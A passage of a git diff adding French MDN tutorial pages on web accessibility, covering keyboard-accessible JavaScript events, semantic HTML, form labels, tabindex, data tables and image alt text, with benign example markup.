De plus, le champ errorField est placé en haut de l'ordre source (bien qu'il soit positionné différemment dans UI à l'aide de CSS), ce qui signifie que les utilisateurs peuvent savoir exactement ce qui ne va pas avec les soumissions de formulaire et accéder aux éléments d'entrée en question en remontant au début de la page

+ +

Pour terminer, nous avons utilisé certains attributs de WAI-ARIA dans notre démonstration pour résoudre les problèmes d’accessibilité causés par des zones de contenu constamment mises à jour sans rechargement de page (les lecteurs d’écran ne le détectent pas et n'en avertissent pas les utilisateurs par défaut) :

+ +
<div class="errors" role="alert" aria-relevant="all">
+  <ul>
+  </ul>
+</div>
+ +

Nous expliquerons ces attributs dans notre prochain article, qui couvre WAI-ARIA de manière beaucoup plus détaillée.

+ +
+

Note :  Certains d'entre vous penseront probablement au fait que les formulaires HTML5 ont des mécanismes de validation intégrés tels que les attributs required, min/minlength, et max/maxlength  (voir {{htmlelement("input")}} référence d'élément pour plus d'informations). Nous avons fini par ne pas les utiliser dans la démo, car la prise en charge multi-navigateurs est inégale (par exemple, IE10 et versions ultérieures, pas de prise en charge de Safari).

+
+ +
+

Note : WebAIM's Validation de formulaire et récupération d'erreur utilisables et accessibles (EN) fournit des informations supplémentaires utiles sur la validation de formulaire accessible.

+
+ +

Autres problèmes d'accessibilité JavaScript

+ +

Il y a d'autres choses à prendre en compte quand on met en œuvre des solutions JavaScript tout en réflechissant à l'accessibilité. Voilà déjà une liste de points à surveiller, que nous complèterons à chaque fois qu'un nouveau cas se présente.

+ +

Événements spécifiques à la souris

+ +

Comme vous le savez peut-être, la plupart des interactions utilisateur sont implémentées dans JavaScript côté client à l'aide de gestionnaires d'événements, ce qui nous permet d'exécuter des fonctions en réponse à certains événements. Certains événements peuvent avoir des problèmes d'accessibilité. L'exemple principal que vous rencontrerez concerne des événements spécifiques à la souris tels que  mouseover, mouseout, dblclick, etc. Les fonctionnalités qui s'exécutent en réponse à ces événements ne seront pas accessibles à l'aide d'autres mécanismes, tels que les contrôles du clavier.

+ +

Pour résoudre de tels problèmes, vous devez doubler ces événements avec des événements similaires pouvant être activés par d'autres moyens (appelés gestionnaires d'événements indépendants du périphérique) —focus et blur (event) fourniraient une accessibilité aux utilisateurs de clavier. 

+ +

Regardons un exemple qui illustre cela. Considérons une image miniature ; quand elle est survolée ou ciblée (comme sur un catalogue de produits de commerce électronique) une version plus grande de l’image s'affiche.

+ +

Nous avons créé un exemple très simple, que vous pouvez trouver sur Exemple d'événements de souris et de clavier (voir aussi le code source). Le code comporte deux fonctions qui affichent et cachent l'image agrandie ; ceux-ci sont gérés par les lignes suivantes qui les définissent en tant que gestionnaires d'événements :

+ +
imgThumb.onmouseover = showImg;
+imgThumb.onmouseout = hideImg;
+
+imgThumb.onfocus = showImg;
+imgThumb.onblur = hideImg;
+ +

Les deux premières lignes exécutent les fonctions lorsque le pointeur de la souris survole et cesse de survoler la vignette, respectivement. Cela ne nous permettra toutefois pas d'accéder à la vue agrandie à l'aide du clavier ; pour cela, nous avons inclus les deux dernières lignes, qui exécutent les fonctions lorsque l'image est nette et floue (lorsque la mise au point s'arrête). Cela peut être fait en tapant sur l'image, car nous avons inclus  tabindex="0" dessus.

+ +

L'événement click est intéressant — cela semble dépendre de la souris, mais la plupart des navigateurs activent les gestionnaires d'événement element.onclick  après avoir  pressé Entrée  sur un lien ou un élément de formulaire ciblé, ou lorsqu'un tel élément est touché sur un écran tactile. Cependant, cela ne fonctionne pas par défaut lorsque vous autorisez un événement à ne pas être mis au point par défaut à l'aide de tabindex. Dans ce cas, vous devez détecter précisément le moment exact où cette touche est enfoncée (voir Remettre l'accessibilité au clavier).

+ +

Résumé

+ +

Nous espérons que cet article vous a fourni beaucoup de détails et de compréhension sur les problèmes d'accessibilité liés à l'utilisation de CSS et de JavaScript sur les pages Web.

+ +

Ensuite, WAI-ARIA !

+ +
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
+ +
+

Dans ce module

+ + +
diff --git a/files/fr/learn/accessibility/html/index.html b/files/fr/learn/accessibility/html/index.html new file mode 100644 index 0000000000..03b80cbb80 --- /dev/null +++ b/files/fr/learn/accessibility/html/index.html @@ -0,0 +1,530 @@ +--- +title: 'HTML : une bonne base pour l''accessibilité' +slug: Apprendre/a11y/HTML +tags: + - Accessibilité + - Article + - Clavier + - Débutant + - Forms + - HTML + - Liens + - a11y + - boutons + - sémantique +translation_of: Learn/Accessibility/HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}
+ +

Une grande partie des contenus web peut être rendue accessible simplement en s'assurant d'utiliser les éléments HTML appropriés systématiquement. Cet article détaille comment HTML peut être utilisé pour un maximum d'accessibilité.

+ + + + + + + + + + + + +
Prérequis :Compétences informatiques de base, compréhension basique de HTML (voir Introduction à HTML), et compréhension de Qu'est ce que l'accessibilité ?
Objectif :Se familiariser avec les fonctionnalités de HTML qui bénéficient à l'accessibilité, et comment les utiliser de manière appropriée dans vos documents web.
+ +

HTML et accessibilité

+ +

Plus vous apprenez le HTML — plus vous lisez de ressources, regardez d'exemples — plus vous recontrerez un thème récurrent : l'importance d'utiliser du HTML sémantique, parfois appelé POSH (Plain Old Semantic HTML). C'est l'usage des éléments HTML appropriés autant que possible.

+ +

Vous pouvez vous demander pourquoi c'est si important. Après tout, vous pouvez utiliser une combinaison de CSS et de JavaScript pour faire fonctionner n'importe quel élément HTML de la manière que vous souhaitez. Par exemple, un bouton de lecture pour une vidéo sur votre site pourrait être codé ainsi :

+ +
<div>Lire la vidéo</div>
+ +

Mais comme vous le verrez en détail plus loin, il est beaucoup plus sensé d'utiliser le bon élément à cet effet :

+ +
<button>Lire la vidéo</button>
+ +

Non seulement  <button> possède des styles adéquats par défaut (que vous voudrez probablement surcharger), il intègre aussi l'accès au clavier — on peut tabuler dessus, et l'activer avec la touche entrée.

+ +

Le HTML sémantique ne demande pas plus de temps à écrire que du (mauvais) balisage non-sémantique si vous le faites de manière constante dès le début de votre projet, et il a également des bénéfices au delà de l'accessibilité :

+ +
    +
  1. Facilite les développements — comme mentionné ci-dessus, certaines fonctionnalités sont gratuites, et c'est indiscutablement plus compréhensible.
    2. +
  2. Meilleur pour le mobile — le HTML sémantique est indiscutablement plus léger en la taille du fichier que le code spaghetti non sémantique, et plus aisé à rendre responsive. 
    3. +
  3. Bon pour le SEO — les moteurs de recherche donnent plus d'importance aux mots clés contenus dans les titres, liens, etc. que des mots-clés contenus dans des <div> non sémantiques, et donc vos documents seront plus facilement trouvés par vos clients.
    4. +
+ +

Continuons et jetons un œil au HTML accessible dans le détail.

+ +
+

Note : C'est une bonne idée d'avoir un lecteur d'écran configuré, pour tester les exemples ci-dessous. Voir notre guide pour gérer les problèmes courants d'accessibilité pour plus de détails.

+
+ +

Une bonne sémantique

+ +

Nous avons déjà parlé de l'importance d'une bonne sémantique, et pourquoi nous devons utiliser le bon élément HTML pour le bon usage. Il ne faut pas l'ignorer car c'est une des principales causes d'importants problèmes d'accessibilité si ce n'est pas fait correctement.

+ +

En vérité sur le Web, les développeurs font d'étranges choses avec HTML. Certains abus en HTML sont hérités de vieilles pratiques obsolètes pas complètement oubliées, d'autre sont juste de l'ignorance. Dans tous les cas, vous devez remplacer ce mauvais code partout où vous le verrez, dès que vous le pourrez.

+ +

Parfois vous ne pourrez pas vous débarrasser du mauvais balisage — vos pages seront générées par quelque framework côté serveur dont vous n'aurez pas le contrôle total, ou vous aurez des contenus tiers (comme des bannières publicitaires) que nous ne contrôlerez pas.

+ +

L'objectif cependant n'est pas « tout ou rien » — toute amélioration que vous pouvez faire aidera la cause de l'accessibilité.

+ +

Contenus textuels

+ +

L'une des meilleures aides en accessibilité qu'un utilisateur de lecteur d'écran peut avoir est une bonne structure des titres, paragraphes, listes, etc. Un bon exemple sémantique devrait ressembler au code suivant :

+ +
<h1>Mon titre</h1>
+
+<p>Ceci est la premère section de mon document.</p>
+
+<p>Je vais ajouter ici un autre paragraphe.</p>
+
+<ol>
+  <li>Voici</li>
+  <li>une liste pour</li>
+  <li>toi à lire.</li>
+</ol>
+
+<h2>Mon sous-titre</h2>
+
+<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu!</p>
+
+<h2>Mon second sous-titre</h2>
+
+<p>Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière.</p>
+ +

Nous avons préparé pour vous une version avec un texte plus long afin de l'essayer avec lecteur d'écran (voir la bonne sémantique). Si vous essayez de naviguer dans ce document, vous verrez qu'il est assez simple de s'y retrouver :

+ +
    +
  1. Le lecteur d'écran lit à voix haute chaque élément au fur et à mesure que vous progressez dans le contenu, vous notifiant ce qui est un paragraphe, ce qui est un titre, etc.
    2. +
  2. Il s'arrête après chaque élément, vous laissant aller à n'importe quel endroit vous convenant.
    3. +
  3. Vous pouvez sauter au précédent ou au prochain titre avec de nombreux lecteurs d'écran.
    4. +
  4. Vous pouvez aussi dresser une liste de tous les titres avec de nombreux lecteurs d'écrans, vous permettant de les utiliser comme une table des matières pratique pour trouver un contenu spécifique.
    5. +
+ +

Les gens écrivent parfois des titres, des paragraphes, etc. utilisant le HTML de présentation et retours à la ligne, quelque chose comme ce qui suit :

+ +
<font size="7">Mon titre</font>
+<br><br>
+Ceci est la première section de mon document.
+<br><br>
+Je vais ajouter ici un autre paragraphe.
+<br><br>
+1. Voici
+<br><br>
+2. une liste pour
+<br><br>
+3. toi à lire.
+<br><br>
+<font size="5">Mon sous-titre</font>
+<br><br>
+<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu!
+<br><br>
+<font size="5">My 2nd subheading</font>
+<br><br>
+Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière.
+ +

Si vous essayez notre version plus longue avec un lecteur d'écran (voir la mauvaise sémantique), vous n'aurez pas une très bonne expérience – le lecteur d'écran n'a plus rien à utiliser comme indicateur, il ne peut pas récupérer une table des matières utilisable, et la page entière est vue comme un bloc unique, lu tout d'une traite.

+ +

Il y a aussi d'autres problèmes au-delà de l'accessibilité – le contenu est plus dur à mettre en forme avec le CSS, ou à manipuler avec JavaScript par exemple, car il n'y a pas d'élément à utiliser comme sélecteurs.

+ +

Utiliser un langage clair

+ +

Le langage que vous employez peut aussi affecter l'accessiblité. En général vous ne devriez pas utiliser un langage trop complexe, ni utiliser un jargon ou de l'argot inutiles. Cela ne profite pas qu'aux gens avec des handicaps congnitifs ou autres ; cela profite au lecteur pour qui le texte n'est pas écrit dans sa langue maternelle, pour des gens plus jeunes… à tout un chacun en fait ! Mis à part cela, vous devriez essayer d'éviter d'utiliser un langage et des caractères qui ne sont pas lus clairement à voix haute par le lecteur d'écran. Par exemple :

+ +
    +
  • N'utilisez pas des tirets si vous le pouvez. Au lieu d'écrire 5–7, écrivez 5 à 7.
    • +
  • Explicitez les abréviations — au lieu d'écrire Jan, écrivez Janvier.
    • +
  • Explicitez les acronymes, au moins une ou deux fois. Au lieu d'écrire "HTML" en premier lieu, écrivez Hypertext Markup Language.
    • +
+ +

Disposition des pages

+ +

Dans les âges sombres, les gens avaient pour habitude de créer les dispositions de leurs pages avec des tableaux HTML — en utilisant différentes cellules de ces tableaux pour contenir l'en-tête, le pied de page, une barre latérale, la colonne du contenu principal, etc. Ce n'est pas une bonne idée car un lecteur d'écran va donner des lectures déroutantes, surtout si la disposition est complexe et a de nombreux tableaux imbriqués.

+ +

Essayez notre exemple table-layout.html, qui ressemble à quelque chose comme ça :

+ +
<table width="1200">
+      <!-- main heading row -->
+      <tr id="heading">
+        <td colspan="6">
+
+          <h1 align="center">Header</h1>
+
+        </td>
+      </tr>
+      <!-- nav menu row  -->
+      <tr id="nav" bgcolor="#ffffff">
+        <td width="200">
+          <a href="#" align="center">Home</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Our team</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Projects</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Contact</a>
+        </td>
+        <td width="300">
+          <form width="300">
+            <input type="search" name="q" placeholder="Search query" width="300">
+          </form>
+        </td>
+        <td width="100">
+          <button width="100">Go!</button>
+        </td>
+      </tr>
+      <!-- spacer row -->
+      <tr id="spacer" height="10">
+        <td>
+
+        </td>
+      </tr>
+      <!-- main content and aside row -->
+      <tr id="main">
+        <td id="content" colspan="4" bgcolor="#ffffff">
+
+          <!-- main content goes here -->
+        </td>
+        <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top">
+          <h2>Related</h2>
+
+          <!-- aside content goes here -->
+
+        </td>
+      </tr>
+      <!-- spacer row -->
+      <tr id="spacer" height="10">
+        <td>
+
+        </td>
+      </tr>
+      <!-- footer row -->
+      <tr id="footer" bgcolor="#ffffff">
+        <td colspan="6">
+          <p>©Copyright 2050 by nobody. All rights reversed.</p>
+        </td>
+      </tr>
+    </table>
+ +

Si vous essayez de naviguer à l'aide d'un lecteur d'écran, cela vous indiquera probablement qu'il existe un tableau à examiner (bien que certains lecteurs d'écran puissent deviner la différence entre les présentations de tableau et les tableaux de données). Vous devrez ensuite (en fonction du lecteur d’écran que vous utilisez) devoir accéder à la table en tant qu’objet et en examiner les caractéristiques séparément, puis sortir à nouveau de la table pour continuer à naviguer dans le contenu.

+ +

Les structures de table sont un vestige du passé – elles semblaient logiques lorsque le support CSS n’était pas répandu dans les navigateurs, mais elles semaient la confusion chez les utilisateurs de lecteurs d’écran, tout en étant mauvaises pour de nombreuses autres raisons (utilisation abusive des tableaux, nécessite plus de balisage, design manquant de souplesse). Ne les utilisez pas !

+ +

Vous pouvez vérifier ces affirmations en comparant votre expérience antérieure avec un  exemple plus moderne de structure de site Web, qui pourrait ressembler à ceci :

+ +
<header>
+  <h1>Entête</h1>
+</header>
+
+<nav>
+  <!--  navigation principale ici  -->
+</nav>
+
+<!--  Voici le contenu principal de notre page  -->
+<main>
+
+  <!--  Il contient un article  -->
+  <article>
+    <h2>Intitulé de l'article</h2>
+
+    <!--  contenu de l'article ici  -->
+  </article>
+
+  <aside>
+    <h2>en relation</h2>
+
+    <!--  à part le contenu ici  -->
+  </aside>
+
+</main>
+
+<!--  Et voici notre pied de page principal utilisé dans toutes les pages de notre site Web. -->
+
+<footer>
+  <!--  contenu du pied de page ici  -->
+</footer>
+ +

Si vous essayez notre exemple plus moderne de structure avec un lecteur d’écran, vous verrez que le balisage de présentation ne gêne plus ni ne rend la lecture du contenu confuse. Il est également beaucoup plus léger et plus petit en termes de taille de code, ce qui signifie une maintenance plus facile du code et une sollicitation moindre de la bande passante par l'utilisateur (particulièrement critique en cas de connexions lentes).

+ +

Une autre considération à prendre en compte lors de la création de dispositions consiste à utiliser des éléments sémantiques HTML5 comme dans l'exemple ci-dessus (voir Référence des éléments HTML). Vous pouvez créer une disposition en utilisant uniquement des éléments {{htmlelement("div")}} imbriqués, mais il est préférable d'utiliser des éléments de sectionnement appropriés pour envelopper votre navigation principale ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), en répétant des unités de contenu ({{htmlelement("article")}}), etc. Elles fournissent une sémantique supplémentaire aux lecteurs d’écran (et à d’autres outils) pour donner à l’utilisateur des indices supplémentaires sur le contenu qu’il navigue (voir Prise en charge du lecteur d’écran pour les nouveaux éléments de section HTML5 pour une idée de la prise en charge du lecteur d’écran).

+ +
+

Note : Outre le fait que votre contenu présente une bonne sémantique et une présentation attrayante, il convient que son ordre source soit logique : vous pouvez toujours le placer où vous le souhaitez à l'aide de CSS par la suite, mais vous devez définir l'ordre exact des sources pour commencer. les utilisateurs de lecteur d’écran qui se liront auront du sens.

+
+ +

Contrôles de l'interface utilisateur

+ +

Par contrôles d'interface utilisateur, nous entendons les parties principales des documents web avec lesquelles les utilisateurs interagissent – le plus souvent des boutons, des liens et des contrôles de formulaire. Dans cette section, nous examinerons les problèmes d’accessibilité de base à prendre en compte lors de la création de tels contrôles. Des articles ultérieurs sur WAI-ARIA et le multimédia aborderont d'autres aspects de l'accessibilité de l'interface utilisateur.

+ +

L'un des aspects clés de l'accessibilité des contrôles de l'interface utilisateur est que, par défaut, les navigateurs leur permettent d'être manipulés par le clavier. Vous pouvez essayer ceci en utilisant notre exemple accessibilité du clavier natif (voir le code source) – ouvrez-le dans un nouvel onglet et essayez d’appuyer sur la touche de tabulation; après quelques appuis, vous devriez voir le focus de l'onglet commencer à se déplacer à travers les différents éléments qui peuvent être mis au point ; les éléments focalisés se voient attribuer un style par défaut en surbrillance dans chaque navigateur (il diffère légèrement d’un navigateur à l’autre) afin que vous puissiez déterminer quel élément est ciblé.

+ +

+ +

Vous pouvez ensuite appuyer sur Entrée/Retour pour suivre un lien sélectionné ou appuyer sur un bouton (nous avons inclus du JavaScript pour que les boutons alertent un message), ou commencer à taper pour saisir du texte dans une entrée de texte (les autres éléments de formulaire ont des contrôles différents, par exemple, l'élément  {{htmlelement("select")}} peut avoir ses options affichées et alterner entre les touches fléchées haut et bas). 

+ +
+

Note :  Différents navigateurs peuvent avoir différentes options de contrôle du clavier disponibles. Voir comment gérer les problèmes courants d'accessibilité pour plus de détails.

+
+ +

Vous obtenez essentiellement ce comportement gratuitement, en utilisant simplement les éléments appropriés, par exemple :

+ +
<h1>Liens</h1>
+
+<p> Ceci est un lien vers  <a href="https://www.mozilla.org">Mozilla</a>.</p>
+
+<p> Un autre lien, pour  <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p>
+
+<h2>Boutons</h2>
+
+<p>
+  <button data-message="This is from the first button">Cliquez moi!</button>
+  <button data-message="This is from the second button"> Cliquez moi aussi !</button>
+  <button data-message="This is from the third button">Et moi!</button>
+</p>
+
+<h2>formulaire</h2>
+
+<form>
+  <div>
+    <label for="name"> Remplis ton nom :</label>
+    <input type="text" id="name" name="name">
+  </div>
+  <div>
+    <label for="age"> Entrez votre âge :</label>
+    <input type="text" id="age" name="age">
+  </div>
+  <div>
+    <label for="mood"> Choisissez votre humeur :</label>
+    <select id="mood" name="mood">
+      <option>Heureux</option>
+      <option> Triste </option>
+      <option> Fâché </option>
+      <option> Préoccupé </option>
+    </select>
+  </div>
+</form>
+ +

Cela signifie que vous devez utiliser des liens, des boutons, des éléments de formulaire et des étiquettes de manière appropriée (y compris l'élément {{htmlelement("label")}} pour les contrôles de formulaire).

+ +

Cependant, il est encore une fois que les gens font parfois des choses étranges avec HTML. Par exemple, vous voyez parfois des boutons balisés en utilisant {{htmlelement("div")}}s, par exemple :

+ +
<div data-message="This is from the first button"> Cliquez-moi!</div>
+<div data-message="This is from the second button">  Cliquez moi aussi!</div>
+<div data-message="This is from the third button"> Et moi!</div>
+ +

Il est toutefois déconseillé d’utiliser un tel code. Vous perdriez immédiatement l’accessibilité au clavier natif que vous auriez obtenue si vous aviez utilisé des éléments  {{htmlelement("button")}}. De plus, vous n’obtenez aucun des styles CSS par défaut que les boutons ont.

+ +

Remettre l'accessibilité au clavier

+ +

Ajouter de tels avantages en retour demande un peu de travail (vous pouvez utiliser un exemple de code dans notre exemple fake-div-buttons.html – voir également le source code). Ici, nous avons donné à nos faux boutons <div> la possibilité se focaliser (y compris via la touche Tab) en donnant à chacun l'attribut tabindex="0" :

+ +
<div data-message="This is from the first button" tabindex="0"> Cliquez-moi!</div>
+<div data-message="This is from the second button" tabindex="0"> Cliquez moi aussi!</div>
+<div data-message="This is from the third button" tabindex="0"> Et moi!</div>
+ +

Fondamentalement, l'attribut {{htmlattrxref("tabindex")}} est principalement destiné à permettre aux éléments que l'on peut cibler avec la touche Tab d'avoir un ordre de tabulation personnalisé (spécifié dans l'ordre numérique positif), au lieu d'être simplement tabulés dans leur ordre source par défaut. C'est presque toujours une mauvaise idée, car cela peut causer une confusion majeure. Utilisez-le uniquement si vous en avez vraiment besoin, par exemple si la mise en page affiche les éléments dans un ordre visuel très différent de celui du code source et si vous souhaitez que les éléments fonctionnent de manière plus logique. Il y a deux autres options pour tabindex :

+ +
    +
  • tabindex="0" – comme indiqué ci-dessus, cette valeur permet aux éléments qui ne sont pas normalement tabulables de le devenir. C’est la valeur la plus utile de tabindex.
    • +
  • tabindex="-1" – cela permet aux éléments qui ne sont normalement pas tabulables d'être ciblés par le programme, par ex. via JavaScript, ou en tant que cible de liens.
    • +
+ +

Bien que l’addition ci-dessus nous permette de tabuler les boutons, elle ne nous permet pas de les activer via la touche Entrée/Retour. Pour ce faire, nous avons dû ajouter le bout de code JavaScript suivant :

+ +
document.onkeydown = function(e) {
+  if(e.keyCode === 13) { // The Enter/Return key
+    document.activeElement.onclick(e);
+  }
+}
+ +

Ici, nous ajoutons un écouteur à l’objet document pour détecter le moment où un bouton a été appuyé sur le clavier. Nous vérifions quel bouton a été pressé via la propriété keyCode de l'objet événement; s'il s'agit du code clé qui correspond Return/Enter, nous exécutons la fonction stockée dans le gestionnaire du bouton onclick à l'aide de document.activeElement.onclick(). activeElement nous donne l'élément qui est actuellement ciblé sur la page.

+ +
+

Note : N'oubliez pas que cette technique ne fonctionnera que si vous définissez vos gestionnaires d'événements d'origine via les propriétés du gestionnaire d'événements (par exemple, onclick), addEventListener ne fonctionnera pas.

+
+ +

C’est beaucoup de tracas supplémentaire pour reconstruire la fonctionnalité. Et il y aura sûrement d’autres problèmes. Mieux vaut utiliser le bon élément pour le bon travail en premier lieu.

+ +

Étiquettes de texte significatives

+ +

Les étiquettes de texte de contrôle UI sont très utiles pour tous les utilisateurs, mais leur mise au point est particulièrement importante pour les utilisateurs handicapés.

+ +

Vous devez vous assurer que les libellés des boutons et des liens sont compréhensibles et distinctifs. Ne vous contentez pas d'utiliser « Cliquez ici » pour vos étiquettes, car les utilisateurs et utilisatrices de lecteur d'écran créent parfois une liste de boutons et de contrôles de formulaire. La capture d'écran suivante montre nos commandes répertoriées par VoiceOver sur Mac.

+ +

+ +

Assurez-vous que vos étiquettes ont une signification hors contexte, qu'elles soient lues séparément ou dans le contexte du paragraphe dans lequel elles se trouvent. Par exemple, voici un exemple de texte de lien de qualité :

+ +
<p> Les baleines sont vraiment des créatures géniales . <a href="whales.html"> En savoir plus sur les baleines </a>.</p>
+ +

c'est un mauvais texte du lien :

+ +
<p> Les baleines sont des créatures vraiment impressionnantes. Pour en savoir plus sur les baleines,  <a href="whales.html">cliquez ici</a>.</p>
+
+ +
+

Note:Vous pouvez trouver beaucoup plus d'informations sur l'implémentation de liens et les meilleures pratiques dans notre article sur la création d'hyperliens. Vous pouvez également voir quelques bons et mauvais exemples dans Bons-liens.html et Mauvais-liens.html.

+
+ +

Les libellés de formulaire sont également importantes pour vous donner un indice sur ce que vous devez entrer dans chaque entrée de formulaire. Ce qui suit semble être un exemple assez raisonnable :

+ +
 Remplis ton nom : <input type="text" id="name" name="name">
+ +

Cependant, ce n'est pas très utile pour les utilisateurs handicapés. Dans l'exemple ci-dessus, rien n'associe de manière non équivoque l'étiquette à la saisie de formulaire et explique clairement comment la remplir si vous ne la voyez pas. Si vous y accédez avec certains lecteurs d’écran, vous ne recevrez peut-être qu’une description du type « éditer le texte".

+ +

Ce qui suit est un exemple bien meilleur :

+ +
<div>
+  <label for="name">Entrez votre nom:</label>
+  <input type="text" id="name" name="name">
+</div>
+ +

Avec le code comme celui-ci, le label sera clairement associée à input; la description ressemblera davantage à "Entrez votre nom: éditez le texte".

+ +

+ +

En prime, dans la plupart des navigateurs, associer a un label à une form input signifie que vous pouvez cliquer sur celle-ci pour sélectionner / activer l'élément label. Cela donne à input une zone de résultats plus grande, ce qui facilite la sélection

+ +
+

Note:vous pouvez voir des exemples de bonnes et de mauvaises de formulaire dans exemple de bon formulaire et exemple de mauvais formulaire.

+
+ +

Tableaux de données accessibles

+ +

Une table de données de base peut être écrite avec un balisage très simple, par exemple :

+ +
<table>
+  <tr>
+    <td>Nom</td>
+    <td>Age</td>
+    <td>Sexe</td>
+  </tr>
+  <tr>
+    <td>Gabriel</td>
+    <td>13</td>
+    <td>Male</td>
+  </tr>
+  <tr>
+    <td>Elva</td>
+    <td>8</td>
+    <td>Femelle</td>
+  </tr>
+  <tr>
+    <td>Freida</td>
+    <td>5</td>
+    <td>Femelle</td>
+  </tr>
+</table>
+ +

Mais cela pose des problèmes : un utilisateur de lecteur d’écran ne peut pas associer des lignes ou des colonnes en tant que groupes de données. Pour ce faire, vous devez savoir quelles sont les lignes d'en-tête et si elles sont dirigées vers le haut, des colonnes, etc. Cela ne peut être fait que visuellement pour le tableau ci-dessus (voir bad-table.html et essayez vous-même l'exemple).

+ +

Regardez maintenant notre tableau d'exemple sur les groupes punk – vous pouvez voir quelques aides à l'accessibilité au travail ici :

+ +
    +
  • Les en-têtes de tableau sont définis à l'aide d'éléments {{htmlelement("th")}} —  vous pouvez également spécifier s'il s'agit d'en-têtes de lignes ou de colonnes à l'aide de l'attribut scope. Cela vous donne des groupes complets de données qui peuvent être consommés par les lecteurs d'écran en tant qu'unités simples
    • +
  • L'élément {{htmlelement("caption")}} et l'attribut summary <table> effectuent tous deux des travaux similaires. Ils agissent en tant que texte alternatif pour une table, offrant ainsi à un utilisateur de lecteur d'écran un résumé rapide et utile du contenu de la table. <caption> est généralement préféré car il rend son contenu accessible aux utilisateurs malvoyants, qui pourraient également le trouver utile. Vous n'avez pas vraiment besoin des deux.
    • +
+ +
+

Note : voir notre article  Tableaux HTML : dispositions avancées et accessibilité pour plus de détails sur les tables de données accessibles.

+
+ +

Alternatives textuelles

+ +

Alors que le contenu textuel est intrinsèquement accessible, il n'en est pas de même pour le contenu multimédia : le contenu image/vidéo ne peut pas être vu par les personnes malvoyantes et le contenu audio ne peut pas être entendu par les malentendants. Nous verrons plus loin le contenu audio et vidéo dans l'article multimédia accessible, mais pour cet article, nous examinerons l'accessibilité pour l'élément humble {{htmlelement("img")}}.

+ +

Nous avons un exemple simple écrit, accessible-image.html, comporte quatre copies de la même image :

+ +
<img src="dinosaur.png">
+
+<img src="dinosaur.png"
+     alt=" Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées.">
+
+<img src="dinosaur.png"
+     alt=" Un Tyrannosaure Rex rouge: Un dinosaure à deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tête avec beaucoup de dents acérées."
+     title=" Le dinosaure rouge de Mozilla ">
+
+
+<img src="dinosaur.png" aria-labelledby="dino-label">
+
+<p id="dino-label"> Tyrannosaure rouge Rex de Mozilla: Dinosaure à deux jambes, debout comme un être humain, avec des armes légères et une grosse tête avec beaucoup de dents acérées.</p>
+
+ +

La première image, lorsqu'elle est visualisée par un lecteur d'écran, n'offre pas beaucoup d'aide à l'utilisateur. VoiceOver, par exemple, lit « /dinosaur.png, image ». Il lit le nom du fichier pour essayer de fournir de l'aide. Dans cet exemple, l'utilisateur ou l’utilisatrice saura au moins qu'il s'agit d'un dinosaure, mais les fichiers peuvent souvent être chargés avec des noms de fichiers générés par une machine (par exemple, à partir d'un appareil photo numérique) et ces noms de fichiers ne fourniront probablement aucun contexte au contenu de l'image.

+ +
+

Note: c'est pourquoi vous ne devriez jamais inclure de contenu textuel dans une image. Les lecteurs d'écran ne peuvent tout simplement pas y accéder. Il y a aussi d'autres inconvénients - vous ne pouvez pas le sélectionner et le copier/coller. Juste ne le faite pas !

+
+ +

Quand un lecteur d'écran rencontre la deuxième image, il lit l'intégralité de l'attribut alt – « Un Tyrannosaure Rex rouge : Un dinosaure à deux pattes se tenant droit comme un humain, avec des armes de petit calibre et une grosse tête avec beaucoup de dents acérées. »

+ +

Cela met en évidence l’importance non seulement d’utiliser des noms de fichiers significatifs au cas où ce qui est appelé alt text n’est pas disponible, mais aussi de s’assurer que le texte alternatif est fourni dans les attributs alt chaque fois que possible. Notez que le contenu de l'attribut alt doit toujours fournir une représentation directe de l'image et de ce qu'elle transmet visuellement. Aucune connaissance personnelle ou description supplémentaire ne devrait être incluse ici, car elle n’est pas utile pour les personnes qui n’ont jamais rencontré l’image auparavant.

+ +

Une chose à considérer est de savoir si vos images ont une signification dans votre contenu, ou si elles sont purement décoratives, n’ont donc aucune signification. S'ils sont décoratifs, il est préférable de les inclure dans la page en tant qu'images d'arrière-plan CSS.

+ +
+

Note : Lisez Les images en HTML et Images adaptatives pour plus d’informations sur la mise en œuvre des images et les meilleures pratiques.

+
+ +

Si vous souhaitez fournir des informations contextuelles supplémentaires, vous devez les insérer dans le texte entourant l'image ou dans un attribut title, comme indiqué ci-dessus. Dans ce cas, la plupart des lecteurs d’écran liront le texte alternatif, l’attribut title et le nom du fichier. En outre, les navigateurs affichent le texte du titre sous forme d’infos lors du survol de la souris.

+ +

+ +

Jetons un autre coup d'oeil à la quatrième méthode :

+ +
<img src="dinosaur.png" aria-labelledby="dino-label">
+
+<p id="dino-label"> Le Tyrannosaure rouge Mozilla  ... </p>
+ +

Dans ce cas, nous n'utilisons pas du tout l'attribut alt Nous avons plutôt présenté notre description de l'image sous forme de paragraphe de texte normal, en lui attribuant un id puis nous avons utilisé l'attribut aria-labelledby pour : faire référence à cela id, ce qui amène les lecteurs d’écran à utiliser ce paragraphe comme alt text/label pour cette image. Ceci est particulièrement utile si vous souhaitez utiliser le même texte comme étiquette pour plusieurs images – quelque chose qui n’est pas possible avec alt.

+ +
+

Note: aria-labelledby fait partie de la spécification WAI ARIA, qui permet aux développeurs d'ajouter une sémantique supplémentaire à leur balisage afin d'améliorer l'accessibilité du lecteur d'écran, le cas échéant. Pour en savoir plus sur son fonctionnement, lisez notre article WAI-ARIA basic.

+
+ +

Autres mécanismes alternatifs de texte

+ +

